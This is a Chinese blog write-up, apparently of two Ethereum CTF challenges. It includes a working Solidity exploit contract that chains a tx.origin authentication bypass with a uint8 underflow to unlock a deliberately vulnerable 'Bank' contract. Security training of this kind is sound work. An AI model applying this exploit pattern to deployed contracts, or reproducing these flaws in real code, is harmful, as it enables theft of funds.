合约安全实战两则_合约最安全的操作方法-程序员宅基地

技术标签: 区块链  安全  智能合约  信息安全  以太合约安全系列  

1. [智能合约? 那是啥]

//0x202E653dA93c2a06076FC95B0A07E39B6003C5f6 Ropsten

pragma solidity ^0.4.23;

/**
 * The CoinFlip contract does nothing...
 */
contract CoinFlip {
	uint256 lashHash;
	uint256 Factor = 20244007718664171871063861089;
    	mapping (address => uint) balances;
   	string flag;

	constructor (string _flag) public {
		flag = _flag;
	}
	
	function getBalance () public returns(uint) {
		return balances[tx.origin];
	}
	
	function flip(bool _guess) public returns (bool) {
		uint256 blockValue = uint256(block.blockhash(block.number - 1));
		lashHash = blockValue;
		uint256 ans = blockValue / Factor;
		bool side = ans == 1 ? true : false;

		if (side == _guess) {
			balances[tx.origin]++;
			return true;
		} else {
			balances[tx.origin] = 0;
			return false;
		}
	}

	function GetTheFlag() public view returns (string){
		return flag;  // You can get your flag here
	}
}

这个好像是某题改过来的。改成了签到题。 原题不能直接getflag。 现在这样直接调用GetTheFlag或者去浏览器上查看合约创建时对内存的写入就能知道flag是啥。

控制台调用

微信截图_20200805230056.png

浏览器查看

火柴截图20200806075237956.jpg

要是所有题都这么纯真该多好~


2. [现在来做运算吧]

pragma solidity ^0.4.23;

/**
 * The Bank contract does something...
 */
contract Bank {
	bytes32 private pass = "*******";
	mapping (address => bool) unlock;
	mapping (address => uint8) balances;
	event FLAG(string b64email, string slogan);
	
	function GetBalance(address _address) view returns(uint) {
		require(msg.sender == _address);
		return balances[_address];
	}

	function GetLockedState(address _address) view returns(bool) {
		require(msg.sender == _address);
		return unlock[msg.sender];
	}

	modifier NeedPass(bytes32 _pass) { 
		require (pass == _pass); 
		_;  
	}

	function Deposit(address _to, uint8 _value, bytes32 _pass) public payable NeedPass(_pass) {
		require(_value > 5);
		balances[_to] += _value;
		if (balances[_to] == 5) {
			unlock[msg.sender] = true;
		}
	}
	
	function DrawBack(uint8 _value, bytes32 _pass) public payable NeedPass(_pass) {
		require(balances[msg.sender] >= _value);
		balances[msg.sender] -= _value;
	}

	function Transfer(address _to, uint8 _value, bytes32 _pass) public payable NeedPass(_pass) {
		require(balances[msg.sender] - _value >= 0);
		balances[msg.sender] -= _value;
		balances[_to] += _value;
	}

	function GetTheFlag(string b64email) public{
		require(tx.origin != msg.sender);
		require(unlock[msg.sender] == true);
		emit FLAG(b64email, " You got the flag!!");
	}
}

当时这题看了蛮久,因为对合约安全整体还不够熟悉,不能将多个漏洞融合贯通。这里简单记录一下用到的两个bypass点。

  1. tx.origin的鉴权漏洞 tx.origin是Solidity的一个全局变量,它遍历整个调用栈并返回最初发送调用(或事务)的帐户的地址。他和msg.send的不同就是tx.origin会遍历整个调用栈。下图可简单说明这种漏洞危害性。

火柴截图20200806080144579.jpg

类似于一个简单的中间人攻击。当用户call我们攻击者的攻击函数,而攻击者使用这个函数去调用正常合约时tx.origin == owner是成立的。也就绕过了鉴权。

  2.溢出和下溢 在solidity中,uint8代表255位的无符号整型,这里可以查看俺之前的日记:solidity类型。因为uint是无符号的整型,不能为负数。当+上超过这个数值的数时,就会出现溢出。例如254 + 2 = 1。而下溢则是0 - 1 = 255。

有了这些基础再来看题目就比较容易理解了。

require(tx.origin != msg.sender);
require(unlock[msg.sender] == true);
  1. 通过合约调用函数的方式,使得tx.origin还是我们的地址,而msg.sender是合约地址,不相等,pass。
  2. 唯一的unlock操作在Deposit函数中,需要存入大于5的数但最终值是5。这里有两种方法。如果没有对存入value限制,应该可以直接存入271,这是大于5而因为mapping中用uint8存储的value所以会溢出成为5。但是这里传入value也是uint8,所以溢出没戏,只能通过transfer函数使得value下溢。exp如下。
//author:肖越
pragma solidity >=0.4.23 <0.6.0;
import "./vul.sol";

contract exp{
    Bank bank = Bank(0x63266aaf6bdF3076a02D49eB73aE847cfd0A945c);
    function getflag() public payable {
        exp1();
        exp2();
        flag();
    }

    function exp1()public payable{
        bank.Transfer.value(msg.value)(0x11767c122Dd7B9F0F3e97a195f0CBA0a64c0C9c6,10,0x546831735f31735f6e30745f615f70617373212079696e6779696e6779696e67); 
    }
    function exp2() {
        bank.Deposit.value(msg.value)(this,15,0x546831735f31735f6e30745f615f70617373212079696e6779696e6779696e67);
    }
    function flag() {
        bank.GetTheFlag("lu ben wei nb!");
    }
}

火柴截图20200806083146217.jpg

(getflag函数不用传参,上图测试用的) 去看看transactionHash的详细内容

火柴截图20200806083352894.jpg

因为我测试过了,接收不到flag邮件,那么达到event就算成功了。 就致敬一波卢姥爷吧!

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/xiaoyue2019/article/details/107832611

智能推荐

tensorflow使用显卡gpu进行训练详细教程_tensorflow怎么用gpu训练-程序员宅基地

文章浏览阅读3k次,点赞4次,收藏13次。tensorflow使用显卡gpu进行训练详细教程_tensorflow怎么用gpu训练

Tomcat 5.5-Manager App HOW-TO(翻译了部份,努力中...)-程序员宅基地

文章浏览阅读62次。偶也是学习,不过,觉得每次都是读英文,麻烦,就希望把它翻译成中文,为自己,也为其它想学习的朋友,呵呵.不过,由于内容比较多,可能翻译的时间要多一点,如果有兴趣合作的朋友,可以回复BLOG,留言您想翻译那一段.让我们一起完成该内容.不过,为了增加文档的可阅读性,把阅读当成一种享受,请在翻译的时候遵守以下几点:1).翻译的字体一律用绿色.保证阅读不那么伤眼睛.2).重点标题用红色标明,重点内容用蓝色标..._apache manager-howto.html是什么文件

基于Labview与单片机的多通道温度采集系统设计_labview与单片机温度检测系统-程序员宅基地

文章浏览阅读1.2w次,点赞31次,收藏261次。Labview编程跟以往传统的软件编程有很大的不同,最明显的差别就是它是图形化编程。用过Labview的童鞋都知道,整个编程都是拖控件的过程,而不是像传统的软件一样码代码。萝卜青菜各有所爱,Labview也有自己小众Fans。但是小众归小众,在一些信号处理领域,使用Labview编程会大大缩小我们开发的周期。今天,我就来给大家讲讲如何使用Labview的串口来与设备进行通信的。并且在通信的基础上,做了一个四通道的温度采集。按照国际惯例,先来张效果图~~1.首先我们来认识下Labview的串口._labview与单片机温度检测系统

机器视觉图像采集卡的功能与应用-程序员宅基地

文章浏览阅读1.9k次。点击上方“小白学视觉”,选择加"星标"或“置顶”重磅干货,第一时间送达机器视觉技术是目前工业生产检测、医疗检测等领域为实现自动化、智能化而采取的应用。整个机器视觉系统分为图像采集与图像处理..._机器视觉中采集卡的作用

学计算机高中选那三科,高中选课6选3怎么选 选哪几科好-程序员宅基地

文章浏览阅读796次。简单来说,六选三就是考生从思想政治、历史、地理、物理、化学和生物6个科目中自主选择3科作为高考的等级性考试科目。等级考考试成绩将通过等级制等方式折算,计入高考总分。新课改“6选3”该怎么选1.根据大学专业指定学科做出选择:2.根据自身的学习能力选择:含物理组的偏理科科目组合一、推荐组合:物理-化学-历史、物理-生物-历史。这两个组合都是很常见的“物理+历史+其他”组合方式。1、物理-化学-历史这一..._计算机高中选科怎么选择6选3

Netty解决粘包和拆包问题-程序员宅基地

文章浏览阅读46次。2019独角兽企业重金招聘Python工程师标准>>> ..._android netty 过一点时间出现粘包

随便推点

vue.config.js中配置proxy代理https-程序员宅基地

文章浏览阅读5.7k次。一、参考https://www.cnblogs.com/roland-sky/p/12916645.htmlvue.config.js 配置devServer: { // 如果改动node_modules内的代码, 不会触发热重载, 则取消下面的注释 // watchOptions: { // ignored: [] // }, proxy: { '^/api/': { target: 'http://localhost:8060', cha_config.js中配置proxy

计算机网络----TCP如何实现可靠传输(超时重传、滑动窗口、流量控制、拥塞避免)_4.可靠传输的实现;滑动窗口+超时重传-程序员宅基地

文章浏览阅读588次。文章目录以字节为单位的滑动窗口技术如何滑动如何保证可靠重传超时重传流量控制网络拥塞慢开始和拥塞避免算法:(有的版本已经不用了)快重传传输连接管理停止等待协议窗口技术(连续的ARQ协议)累计确认以字节为单位的滑动窗口技术如何滑动接收端发送确认号为7发送端没收到确认不能删发送端收到确认,窗口后移,发送端删除- 副本接收端窗口后移,应用程序读取数据(临时文件)如何保证可靠..._4.可靠传输的实现;滑动窗口+超时重传

【软件工具】linux定时任务写日志_linux 定时任务日志-程序员宅基地

文章浏览阅读1k次,点赞19次,收藏18次。输出的内容仅是脚本或命令产生的标准输出和错误输出。如果你想在日志文件中每次记录时都附带时间戳,你需要在脚本中手动添加时间戳或在命令中嵌入生成时间戳的命令。文件不存在,系统会自动创建它,所以你不需要事先手动创建这个文件。这样的命令,它可以将输出发送到系统日志,并自动包含时间戳。然而,这通常意味着日志信息会进入系统的日志系统中,而不是一个特定的文件。自动在日志文件中添加时间戳需要在脚本执行时就生成时间戳。也就是说,文件在每次脚本执行时都会被重写,只包含最近一次执行的输出。文件的末尾,之前的日志信息不会被覆盖。_linux 定时任务日志

modelsim 10_a 中文注释乱码_multisim10 乱码-程序员宅基地

文章浏览阅读9.4k次。转载于计算机人网:http://computersren.com/material/MaterialDetails.aspx?id=20140307221136&id2=2014030320451027176内容:modelsim 10_a 中文注释乱码modelsim中可以输入汉字,却再打开时为乱码,看来要多写英文的注释了。1.modelsim编辑文件_multisim10 乱码

DDR3和DDR4内存有什么区别?DDR3和DDR4的区别_内存条ddr3和ddr4区别-程序员宅基地

文章浏览阅读5.7k次。在金手指触点数量方面,普通DDR4内存有284个,而DDR3则是240个,每一个触点的间距从1mm缩减到0.85mm,笔记本电脑内存上使用的SO-DIMM DDR4内存有256个触点,SO-DIMM DDR3有204个触点,间距从0.6毫米缩减到了0.5毫米。在中央的高点和两端的低点以平滑曲线过渡。更高频率的DDR4内存在各个方面的表现和DDR3内存相比有着显著的提升,DDR4内存的每个针脚都可以提供2Gbps的带宽,那么DDR4-3200就是51.2GB/s,这比DDR3-1866的带宽提升了70%;_内存条ddr3和ddr4区别

【开卷数据结构 】平衡二叉树(AVL)_按照关键词序列创建平衡二叉树-程序员宅基地

文章浏览阅读809次,点赞14次,收藏30次。Q:什么是二叉排序树**A:**二叉排序树或者是一棵空树,或者是具有如下性质的二叉树**1)**若它的左子树不空,则左子树上所有结点的值均小于它的根结点的值**2)**若它的右子树不空,则右子树上所有结点的值均大于它的根结点的值3)左、右子树也分别是一棵二叉排序树Q:什么是平衡二叉树**A:**它或者是一颗空树,或者是具有以下性质的二叉排序树:它的左子树和右子树的深度之差的绝对值不超过1,且它的左子树和右子树都是一颗平衡二叉树。

推荐文章

热门文章

相关标签